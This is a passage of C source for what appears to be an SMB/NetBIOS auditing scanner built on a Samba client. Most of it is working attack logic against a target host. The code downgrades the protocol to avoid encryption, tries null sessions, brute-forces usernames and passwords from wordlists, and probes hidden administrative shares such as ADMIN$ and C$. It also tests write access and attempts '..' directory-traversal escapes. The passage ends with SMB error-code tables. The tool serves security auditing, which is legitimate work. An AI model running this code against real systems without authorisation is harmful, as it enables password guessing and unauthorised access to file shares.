  if (x == 1) {
    if ((max_protocol == PROTOCOL_COREPLUS) && (sec_mode & 0x03)) {

     /*
      * got use-encrypted secmode anyway; do something creative here 
      */

#ifdef VERBOSE
      natprintf("[*]--- Remote server wants us to encrypt, telling it not to\n");
#endif

      max_protocol = PROTOCOL_LANMAN2;	/* was PROTOCOL_NT1 ... */
      x = send_prots (inbuf, outbuf);
      if (x == 0) {
	goto phase_0;
      }
    } /* sec_mode = encryption */
    cur_protocol = max_protocol;
    cur_sec_mode = sec_mode;
    phase++;

  } /* if x */
  if (phase != 3)
    goto nope;

/*
 * Setup the session with username and password authentication
 */
phase_3:				/* smb session setup/auth */

#ifdef SKIPIT
  if (phase == 4)
    goto phase_4;
#endif /* SKIPIT */

/*
 * Try session using any given user/pass first, and then various guesses 
 */

#ifdef VERBOSE
  natprintf("[*]--- Attempting to establish session\n");
#endif

  x = send_setup (inbuf, outbuf);  /* First try is NULL/NULL */
  if (x == 1) {
    cur_vuln = VULID_SESSIONNOPASS;
    fill_vuln("Was able to connect with no username", "or password");
    phase = 4;
    goto phase_4;
  }

#ifdef VERBOSE
  natprintf("[*]--- Was not able to establish session with no password\n");
#endif

  upp_ctx = 0;				/* oops, gotta try harder */

  done = 0;
  username[0] = '\0';
  while (!done) {
    if (!userfd || !passfd)
       uppair();
    else {
       if (fgets(password, sizeof(password), passfd) == NULL) {
          rewind(passfd);
          if (fgets(password, sizeof(password), passfd) == NULL) {
             natprintf("[*]--- Failure reading password from: %s\n", passfile);
             exit(-1);
          }
          username[0] = '\0';
       }
       strtok(password, "\r\n");
       if (username[0] == '\0') {
          if (fgets(username, sizeof(username), userfd) == NULL) {
             if (feof(userfd)) {
                done++;
                goto nope;
             }
          }
          strtok(username, "\r\n");
       }
    }

    if ((! *username) && (! *password))
      uppair();				/* sleaze for NT */

#ifdef VERBOSE
  natprintf("[*]--- Attempting to connect with Username: `%s' Password: `%s'\n",
           username, password);
#endif

    x = send_setup (inbuf, outbuf);
    if ((x == 1) && (upp_ctx < 3)) {

#ifdef VERBOSE
        natprintf("[*]--- CONNECTED: Username: `%s' Password: `%s'\n",
               username, password);
#endif

	strcpy (cur_user, username);	/* XXX: we never really use these */
	strcpy (cur_pass, password);
	upp_ctx = 3;
	phase++;
        cur_vuln = VULID_SESSIONPASS;
        fill_vuln("Was able to guess the username and",
                  " password to establish a connection");
        sprintf(outbuf, "Username: `%s'", username);
        fill_vuln(outbuf, "");
        sprintf(outbuf, "Password: `%s'", password);
        fill_vuln(outbuf, "");
	break;
    }
  } /* while uppair */
  if (phase == 4)
    goto phase_4;

#if 0
  for (i = 0; ; i++) {
    if (try_users[i] == NULL)
      break;
    strcpy (username, try_users[i]);
  }
#endif

  /*
   * NOW try both-null params if all else failed 
   */
  username[0] = '\0';
  password[0] = '\0';
  if (send_setup (inbuf, outbuf))
    phase++;
  if (phase != 4)
    goto nope;				/* oh well, */

/*
 * Connects to the IPC service and dumps the share list
 */
phase_4:				/* IPC TCon, and dump sharelist */

#ifdef SKIPIT
  if (phase == 5)
    goto phase_5;
#endif /* SKIPIT */

/*
 * connect as IPC / \\PIPE\LANMAN, do modded browse_host -> try_shares 
 */

/*
 * 3 places that call_api to get info: browse_host server_info list_servers
 * all of which need modded to fill in the info blox 
 */

/*
 * "service" and "dev" dont even come into play here, and then WAY LATER get
 *  plugged into a tcon.  So after playing here, shuck this tcon and get a new
 *  one of type A: for phase 5. 
 */

  sprintf(service,"\\\\%s\\IPC$", desthost);
  strupper(service);
  connect_as_ipc = True;
  cur_serr = 0;
  x = send_tcon (inbuf, outbuf);
  if (x == 1)
    goto phase_4b;
  if (cur_serr != 2) {			/* unless it's an access problem, */
    phase++;
    goto phase_5;			/* plunge blindly ahead anyways */
  }

/*
 * we shouldn't need a password for a IPC tcon, but if we do we do. 
 */
  upp_ctx = 4;
  while (uppair()) {
    cur_serr = 0;
    x = send_tcon (inbuf, outbuf);
    if (x == 1)
      goto phase_4b;
  } /* while uppair */

#if 0
  for (i = 0; ; i++) {
    p = get_block (try_names, i);
    if (! p)
      goto nope;
    sprintf (service, "\\\\%s\\IPC$", p);
    strupper (service);
    x = send_tcon (inbuf, outbuf);
    if (x == 1) {
      phase++;
      break;
    }
  } /* for i */

/*
 * XXX: no IPC tcon ain't necessarily fatal; should try shares anyways?? 
 */
  if (phase != 5)
    goto nope;
#endif /* 0 */

phase_4b:
  server_info();
  x = browse_host(True);
  x = list_servers();
  send_tdis(inbuf, outbuf);		/* done with this tcon, dump it */
  phase++;

/*
 * Actually try to access all of the shared services
 */
phase_5:				/* connect to some shares */

#ifdef SKIPIT
  if (phase == 6)
    goto phase_6;
#endif /* SKIPIT */

/*
 * Add extra try_shares guesses [C$, D$, NT-def etc] here, and keep bumping
 * hid_shares up past any live names we collected.
 */

  x = fill_block (try_shares, "ADMIN$");
  if (x) hid_shares = x;
  x = fill_block (try_shares, "C$");
  if (x) hid_shares = x;
  x = fill_block (try_shares, "D$");
  if (x) hid_shares = x;
  x = fill_block (try_shares, "ROOT");	/* useful in default Samba setups! */
  if (x) hid_shares = x;
  x = fill_block (try_shares, "WINNT$");
  if (x) hid_shares = x;
  ptr_shares = 0;
  connect_as_ipc = False;

/*
 * Try hitting disk-shares till exhausted, skipping invalid ones 
 */
phase_5a:
  p = get_block (try_shares, ptr_shares);
  if (p == NULL) {
    goto nope;				/* done with 'em all! */
  }
  cur_serr = 0;

  sprintf (service, "\\\\%s\\%s", desthost, p);

#ifdef VERBOSE
  natprintf("\n[*]--- Attempting to access share: %s\n", service);
#endif

  x = send_tcon (inbuf, outbuf);
  if (x == 1) {

#ifdef VERBOSE
  natprintf("[*]--- WARNING: Able to access share: %s\n", service);
#endif

    phase = 6;
    goto phase_6;
  } else {
#ifdef VERBOSE
    natprintf("[*]--- Unable to access\n");
#endif
  }

/*
 * try all listed shares with the current info; get fancy later. 
 */

/*
 * should start picking out the *reason* share-connect failed, to
 * differentiate between bad sharename and bad passwd if at all possible??
 * yes: see cur_serr and interpret_serr to set it ... 
 */

  if (cur_serr == 6) {			/* if nonexistent netpath, */
    ptr_shares++;			/* skip this sharename entirely */
    goto phase_5a;
  }
  upp_ctx = 4;				/* restart passwd list only! */
  while (uppair()) {
    x = send_tcon (inbuf, outbuf);
    if (x == 1) {
      phase = 6;
      goto phase_6;
    } /* x */
    if ((sec_mode & 1) && (cur_serr == 2))  /* if still access-denied and */
	break;				/* in user-mode sec, skip it as well */
  } /* while uppair */
  ptr_shares++;
  goto phase_5a;

phase_6:				/* exercise file-access bugs */

#ifdef SCANNER

  cur_vuln = VULID_SHAREACCESS;			/* default-passwd */
  sprintf (outbuf, "%s as user `%s' pass `%s'", service, username, password);
  fill_vuln ("Connected to share ", outbuf);

/*
 * xxx: probably want to check for *WRITE* access, too, BEFORE filling this 
 */

/*
 * i.e. create/nuke some bogus file and strcat RO or RW on to vuln_string 
 */

/*
 * holler if this is one of those hidden shares
 */

  if (ptr_shares >= hid_shares) {
    cur_vuln = VULID_SHAREHIDDEN;
    fill_vuln ("Hidden share: ", service);
  }

/*
 * as long as we're here, we're bloody well gonna test the access mode 
 */

  strcpy (cur_dir, test_dir);
  natprintf("[*]--- Checking write access in: %s\n", service);
  x = do_mkdir (cur_dir);
  if (x == 1) {
    cur_vuln = VULID_SHAREWRITE;
    fill_vuln ("Write access: ", service);
    natprintf("[*]--- WARNING: Directory is writeable: %s\n", service);
    strcpy (cur_dir, test_dir);		/* reset after expand_mask */
    x = do_rmdir (cur_dir);
    if (x == 0)
      fill_vuln ("cleanup FAILED: ", service);
  } /* if mkdir x = 1 */

  /*
   * Various .. checks to see if we can get out of the share
   */
  natprintf("[*]--- Attempting to exercise .. bug on: %s\n", service);
  DEBUG (0,("%s: insert dotdot here!\n", try_shares[ptr_shares]));
  cur_stash = NULL;			/* RESET per share! */
  strcpy (cur_dir, "\\*.*");
  do_dir (inbuf, outbuf, cur_dir, fattr, get_stash, False);
  tested_stash = 0;
  strcpy (cur_dir, "..\\*.*");		/* straight-out ../foo */
  do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);
  tested_stash = 0;
  strcpy (cur_dir, "\\..\\*.*");	/* or with leading slashes */
  do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);
  tested_stash = 0;
  strcpy (cur_dir, "...\\*.*");		/* obligatory multi-dots attack */
  do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);
  tested_stash = 0;
  strcpy (cur_dir, ".\\...\\*.*");	/* try to confuse it */
  do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);
  tested_stash = 0;

/*
 * Hmm, if we don't do this, we might octopus the server, but it seems to
 * be fairly resistant and just hands back "no resources". 
 */

  send_tdis (inbuf, outbuf);
  ptr_shares++;
  goto phase_5a;			/* back for the next one */

/*
 * by *now* we should have a nice little pile of info, and possibly an open
 * connection to the last tested share to mess with ... 
 */

nope:
  (void) free (inbuf);
  (void) free (outbuf);
  inbuf = outbuf = NULL;
  return (rval);

} /* step */

#endif /* STEPPING */

#ifdef SCANNER

/* Step-wrapper that swaps in for main(), called by module().  */
int nas_step (xip)
unsigned long xip;
{
  register int i;
  BOOL is_vuln = 0;			/* do or don't report anything? */

  TimeInit();				/* from main */
  charset_initialise();			/* so toupper/tolower work?!?? */

  if (xip == 0L) return (0);		/* sanity checks */
  if (xip == 0xffffffff) return (0);
  putip (&dest_ip, (struct in_addr *)&xip);	/* cast-convert! sigh.. */
  have_ip = True;
  pid = 10240;
  uid = 0;
  gid = 0;
  cur_port = 139;			/* will be stock... */
  stepping = 1;
  strcpy (username, "ADMINISTRATOR");	/* preload the ideal situation... */
  xflag = 0;				/* disable passwd encryption */

  is_vuln = step (NULL, NULL);		/* do canned vulnerability tests */
  close_sockets();
  clear_block (try_names, idx_names);	/* clean up all dynamic info... */
  clear_block (try_users, idx_users);
  clear_block (try_pass, idx_pass);
  clear_block (try_shares, idx_shares);
  return (is_vuln);
} /* nas_step */

#else /* SCANNER */

/****************************************************************************
  main program
****************************************************************************/
int main(int argc,char *argv[])
{
  char *pname = argv[0];
  int port = 139;
  int opt;
  extern FILE *dbf;
  extern char *optarg;
  pstring query_host;
  BOOL message = False;
  BOOL didstat = 0;	

  *query_host = 0;

  DEBUGLEVEL = 2;

  setup_logging(pname,True);

  TimeInit();
  charset_initialise();
  setvbuf (stdout, (char *) 0, _IOLBF, 0);

#ifdef SCANNER
/* should have hooks for setting these on the fly?  are they relevant? */
  pid = ~ getpid();
  uid = 0;
  gid = 0;
#else
  pid = getpid();
  uid = getuid();
  gid = getgid();
  mid = pid + 100;
  myumask = umask(0);
  umask(myumask);
#endif /* SCANNER */

#ifndef SCANNER
/* leave username null until we either set it, or need one, or ... */
  if (getenv("USER"))
    {
      strcpy(username,getenv("USER"));
      strupper(username);
    }

  if (*username == 0 && getenv("LOGNAME"))
    {
      strcpy(username,getenv("LOGNAME"));
      strupper(username);
    }
#endif /* SCANNER */

  if (argc < 2)
    {
      usage(pname);
      exit(1);
    }

  if (*argv[1] != '-')
    {

      strcpy(service,argv[1]);  
      argc--;
      argv++;

      if (count_chars(service,'\\') < 3)
	{
	  usage(pname);
	  natprintf("\n%s: Not enough '\\' characters in service\n",service);
	  exit(1);
	}

/*
      if (count_chars(service,'\\') > 3)
	{
	  usage(pname);
	  natprintf("\n%s: Too many '\\' characters in service\n",service);
	  exit(1);
	}
	*/

#ifdef SCANNER
/* if passwd arg is "-", arrange to brute via dictionary fed from someplace */
/* if needed to brute an *IPC* tcon, ferkrissake, use "\\\ - -L victim" */
      if ((argc > 1) && (*argv[1] == '-') && (argv[1][1] == '\0')) {
	read_pass = 1;
	argc--;
	argv++;
      }
#endif /* SCANNER */
      if (argc > 1 && (*argv[1] != '-'))
	{
	  got_pass = True;
	  strcpy(password,argv[1]);  
	  memset(argv[1],'X',strlen(argv[1]));
	  argc--;
	  argv++;
	}
    }

#ifdef KANJI
  setup_term_code (KANJI);
  while ((opt = getopt (argc, argv, "O:M:i:Nn:d:Pp:l:hI:EB:U:L:t:m:W:")) != EOF)
#else
#ifdef STEPPING
  while ((opt = getopt (argc, argv, "O:M:i:Nn:d:Pp:l:hI:EB:S:U:L:m:W:x")) != EOF)
#else
  while ((opt = getopt (argc, argv, "O:M:i:Nn:d:Pp:l:hI:EB:U:L:m:W:")) != EOF)
#endif /* STEPPING */
#endif /* KANJI */
    switch (opt)
      {
      case 'm':
	max_protocol = interpret_protocol(optarg,max_protocol);
	break;
      case 'O':
	strcpy(user_socket_options,optarg);
	break;	
      case 'M':
	name_type = 3;
	strcpy(desthost,optarg);
	strupper(desthost);
	message = True;
	break;
      case 'i':
	strcpy(scope,optarg);
	break;
      case 'L':
	got_pass = True;
	strcpy(query_host,optarg);
	break;
      case 'U':
	{
	  char *p;
	strcpy(username,optarg);
	if ((p=strchr(username,'%')))
	  {
	    *p = 0;
	    strcpy(password,p+1);
	    got_pass = True;
	    memset(strchr(optarg,'%')+1,'X',strlen(password));
	  }
	}

	break;
      case 'W':
	strcpy(workgroup,optarg);
	break;
      case 'E':
	dbf = stderr;
	break;
      case 'I':
	{
	  dest_ip = *interpret_addr2(optarg);
	  if (zero_ip(dest_ip)) exit(1);
	  have_ip = True;
	}
	break;
      case 'n':
	strcpy(myname,optarg);
	break;
      case 'N':
	got_pass = True;
	break;
      case 'P':
	connect_as_printer = True;
	break;
      case 'd':
	if (*optarg == 'A')
	  DEBUGLEVEL = 10000;
	else
	  DEBUGLEVEL = atoi(optarg);
	break;
      case 'l':
	sprintf(debugf,"%s.client",optarg);
	break;
      case 'p':
	port = atoi(optarg);
	break;
      case 'h':
	usage(pname);
	exit(0);
	break;
#ifdef STEPPING
/* 'B' was in getopt-str but unused??!  Now it means "Breakin". */
/* can issue multiple "-B FOO" cmds to add netbios names to try_names block */
      case 'B':			
	fill_block (try_names, optarg);
	stepping = 1;
	break;
/* one-off NMB status, which just happens to add any results to try_names */
      case 'S':
	(void) send_status (optarg);
	didstat = 1;
	break;
      case 'x':
	xflag = 1;
	break;
#endif /* STEPPING */
#ifdef KANJI
      case 't':
	if (!setup_term_code (optarg)) {
	    DEBUG(0, ("%s: unknown terminal code name\n", optarg));
	    usage (pname);
	    exit (1);
	}
	break;
#endif /* KANJI */
      default:
	usage(pname);
	exit(1);
      }

#ifdef STEPPING
  if (stepping)
    goto do_stepping;
#endif /* STEPPING */

  if (!*query_host && !*service && !message)
    {
      if (! didstat)
        usage(pname);
      exit(1);
    }

  DEBUG(3,("%s client started (version %s)\n",timestring(),VERSION));

#ifndef SCANNER
  get_myname(*myname?NULL:myname,&myip);  
  strupper(myname);
#endif

  if (*query_host)
    {
      int ret = 0;
      sprintf(service,"\\\\%s\\IPC$",query_host);
      strupper(service);
      connect_as_ipc = True;
      if (open_sockets(port))
	{
#if 0
	  *username = 0;
#endif
	  if (!send_login(NULL,NULL,True,True))
	    return(1);

	  server_info();
	  if (!browse_host(True)) {
	    sleep(1);
	    browse_host(True);
	  }
	  if (!list_servers()) {
	    sleep(1);
	    list_servers();
	  }

	  send_logout();
	  close_sockets();
	}

      return(ret);
    }

  if (message)
    {
      int ret = 0;
      if (open_sockets(port))
	{
	  pstring inbuf,outbuf;
	  bzero(outbuf,smb_size);
	  if (!send_session_request(inbuf,outbuf))
	    return(1);

	  send_message(inbuf,outbuf);

	  close_sockets();
	}

      return(ret);
    }

  if (open_sockets(port))
    {
      if (!process())
	{
	  close_sockets();
	  return(1);
	}
      close_sockets();
    }
  else
    return(1);

  return(0);

#ifdef STEPPING
do_stepping:
/* if regular interactive but still in step-mode, get as far as we can and
   then offer prompt for human intervention */
  if (! have_ip) {
    natprintf ("need a target!\n");
    exit (1);
  }
  if (stepping) {
    cur_port = port;
    if (*username)
      fill_block (try_users, username);	/* we can supply an extra uname */
    if (*password)
      fill_block (try_pass, password);		/* likewise for passwd */
    if (*service) {
      register int i = strlen (service);
      while ((i > 0) && (service[i] != '\\'))
	i--;
      if (i > 0) {
	i++;
	fill_block (try_shares, &service[i]);	/* and a sharename */
      }
    } /* if *service */
    step (NULL, NULL);			/* pre-try a whole pile of stuff */
    close_sockets();
    return (0);
  } /* stepping */
#endif /* STEPPING */

} /* main */

/* error code stuff - put together by Merik Karman
   merik@blackadder.dsh.oz.au */

#endif /* SCANNER, build main -vs- nas_step */

typedef struct
{
  char *name;
  int code;
  char *message;
} err_code_struct;

/* Dos Error Messages */
err_code_struct dos_msgs[] = {
  {"ERRbadfunc",1,"Invalid function."},
  {"ERRbadfile",2,"File not found."},
  {"ERRbadpath",3,"Directory invalid."},
  {"ERRnofids",4,"No file descriptors available"},
  {"ERRnoaccess",5,"Access denied."},
  {"ERRbadfid",6,"Invalid file handle."},
  {"ERRbadmcb",7,"Memory control blocks destroyed."},
  {"ERRnomem",8,"Insufficient server memory to perform the requested function."},
  {"ERRbadmem",9,"Invalid memory block address."},
  {"ERRbadenv",10,"Invalid environment."},
  {"ERRbadformat",11,"Invalid format."},
  {"ERRbadaccess",12,"Invalid open mode."},
  {"ERRbaddata",13,"Invalid data."},
  {"ERR",14,"reserved."},
  {"ERRbaddrive",15,"Invalid drive specified."},
  {"ERRremcd",16,"A Delete Directory request attempted  to  remove  the  server's  current directory."},
  {"ERRdiffdevice",17,"Not same device."},
  {"ERRnofiles",18,"A File Search command can find no more files matching the specified criteria."},
  {"ERRbadshare",32,"The sharing mode specified for an Open conflicts with existing  FIDs  on the file."},
  {"ERRlock",33,"A Lock request conflicted with an existing lock or specified an  invalid mode,  or an Unlock requested attempted to remove a lock held by another process."},
  {"ERRfilexists",80,"The file named in a Create Directory, Make  New  File  or  Link  request already exists."},
  {"ERRbadpipe",230,"Pipe invalid."},
  {"ERRpipebusy",231,"All instances of the requested pipe are busy."},
  {"ERRpipeclosing",232,"Pipe close in progress."},
  {"ERRnotconnected",233,"No process on other end of pipe."},
  {"ERRmoredata",234,"There is more data to be returned."},
#ifdef SCANNER
/* a few more discovered on the fly...  most weren't in CIFS draft, but
   doing "net helpmsg <ERRDOS-class-number> on NT spews the text.
   we're inventing some of this now; they won't match final draft!! */
  {"ERRnetaccess",65,"Network access denied"},
  {"ERRresourcetype",66,"Network resource type incorrect"},
  {"ERRnetname",67,"Network name not found"},		/* NT ?sharename */
  {"ERRnomoreconn",71,"No more connections available"},
  {"ERRnetpassword",86,"Network password incorrect"},
  {"ERRparam",87,"Parameter incorrect"},		/* NT unicode stuff */
  {"ERRnouids",90,"Too many UIDs"},
  {"ERRaccexpired",2239,"Account expired or disabled"},
  {"ERRwsaccess",2240,"Access denied from this workstation"},
  {"ERRtimeaccess",2241,"Cannot log in at this time"},
  {"ERRpassword",2242,"Password expired"},
  {"ERRcorruptsec",2247,"Security database corrupted"},
  {"ERRinvgroup",2455,"Invalid workgroup"},	/* from smb 1.9.16 */
#endif /* SCANNER */
  {NULL,-1,NULL}};

/* Server Error Messages */
err_code_struct server_msgs[] = {
  {"ERRerror",1,"Non-specific error code."},
  {"ERRbadpw",2,"Bad password - name/password pair in a Tree Connect or Session Setup are invalid."},
  {"ERRbadtype",3,"reserved."},
  {"ERRaccess",4,"The requester does not have  the  necessary  access  rights  within  the specified  context for the requested function. The context is defined by the TID or the UID."},
  {"ERRinvnid",5,"The tree ID (TID) specified in a command was invalid."},
  {"ERRinvnetname",6,"Invalid network name in tree connect."},
  {"ERRinvdevice",7,"Invalid device - printer request made to non-printer connection or  non-printer request made to printer connection."},
  {"ERRqfull",49,"Print queue full (files) -- returned by open print file."},
  {"ERRqtoobig",50,"Print queue full -- no space."},
  {"ERRqeof",51,"EOF on print queue dump."},
  {"ERRinvpfid",52,"Invalid print file FID."},
  {"ERRsmbcmd",64,"The server did not recognize the command received."},
  {"ERRsrverror",65,"The server encountered an internal error, e.g., system file unavailable."},
  {"ERRfilespecs",67,"The file handle (FID) and pathname parameters contained an invalid  combination of values."},
  {"ERRreserved",68,"reserved."},
  {"ERRbadpermits",69,"The access permissions specified for a file or directory are not a valid combination.  The server cannot set the requested attribute."},
  {"ERRreserved",70,"reserved."},
  {"ERRsetattrmode",71,"The attribute mode in the Set File Attribute request is invalid."},
  {"ERRpaused",81,"Server is paused."},
  {"ERRmsgoff",82,"Not receiving messages."},
  {"ERRnoroom",83,"No room to buffer message."},
  {"ERRrmuns",87,"Too many remote user names."},
  {"ERRtimeout",88,"Operation timed out."},
  {"ERRnoresource",89,"No resources currently available for request."},
  {"ERRtoomanyuids",90,"Too many UIDs active on this session."},
  {"ERRbaduid",91,"The UID is not known as a valid ID on this session."},
  {"ERRusempx",250,"Temp unable to support Raw, use MPX mode."},
  {"ERRusestd",251,"Temp unable to support Raw, use standard read/write."},
  {"ERRcontmpx",252,"Continue in MPX mode."},
  {"ERRreserved",253,"reserved."},
  {"ERRreserved",254,"reserved."},
  {"ERRnosupport",0xFFFF,"Function not supported."},
  {NULL,-1,NULL}};

/* Hard Error Messages */
err_code_struct hard_msgs[] = {
  {"ERRnowrite",19,"Attempt to write on write-protected diskette."},
  {"ERRbadunit",20,"Unknown unit."},
  {"ERRnotready",21,"Drive not ready."},
  {"ERRbadcmd",22,"Unknown command."},
  {"ERRdata",23,"Data error (CRC)."},
  {"ERRbadreq",24,"Bad request structure length."},
  {"ERRseek",25 ,"Seek error."},
  {"ERRbadmedia",26,"Unknown media type."},
  {"ERRbadsector",27,"Sector not found."},
  {"ERRnopaper",28,"Printer out of paper."},
  {"ERRwrite",29,"Write fault."},
  {"ERRread",30,"Read fault."},
  {"ERRgeneral",31,"General failure."},
  {"ERRbadshare",32,"A open conflicts with an existing open."},
  {"ERRlock",33,"A Lock request conflicted with an existing lock or specified an invalid mode, or an Unlock requested attempted to remove a lock held by another process."},
  {"ERRwrongdisk",34,"The wrong disk was found in a drive."},
  {"ERRFCBUnavail",35,"No FCBs are available to process request."},
  {"ERRsharebufexc",36,"A sharing buffer has been exceeded."},
  {NULL,-1,NULL}};

struct
{
  int code;
  char *class;
  err_code_struct *err_msgs;
} err_classes[] = { 
  {0,"SUCCESS",NULL},
  {0x01,"ERRDOS",dos_msgs},
  {0x02,"ERRSRV",server_msgs},
  {0x03,"ERRHRD",hard_msgs},
  {0x04,"ERRXOS",NULL},
  {0xE1,"ERRRMX1",NULL},
  {0xE2,"ERRRMX2",NULL},
  {0xE3,"ERRRMX3",NULL},
  {0xFF,"ERRCMD",NULL},
  {-1,NULL,NULL}};


/****************************************************************************
return a SMB error string from a SMB buffer
****************************************************************************/
char *smb_errstr(char *inbuf)
{
  static pstring ret;
  int class = CVAL(inbuf,smb_rcls);
  int num = SVAL(inbuf,smb_err);
  int i,j;

  for (i=0;err_classes[i].class;i++)
    if (err_classes[i].code == class)
      {
	if (err_classes[i].err_msgs)
	  {
	    err_code_struct *err = err_classes[i].err_msgs;
	    for (j=0;err[j].name;j++)
	      if (num == err[j].code)
		{
		  if (DEBUGLEVEL > 0)
		    sprintf(ret,"%s - %s (%s)",err_classes[i].class,
			    err[j].name,err[j].message);
		  else
		    sprintf(ret,"%s - %s",err_classes[i].class,err[j].name);
		  return ret;
		}
	  }

	sprintf(ret,"%s - %d",err_classes[i].class,num);
	return ret;
      }

  sprintf(ret,"ERROR: Unknown error (%d,%d)",class,num);
  return(ret);
}


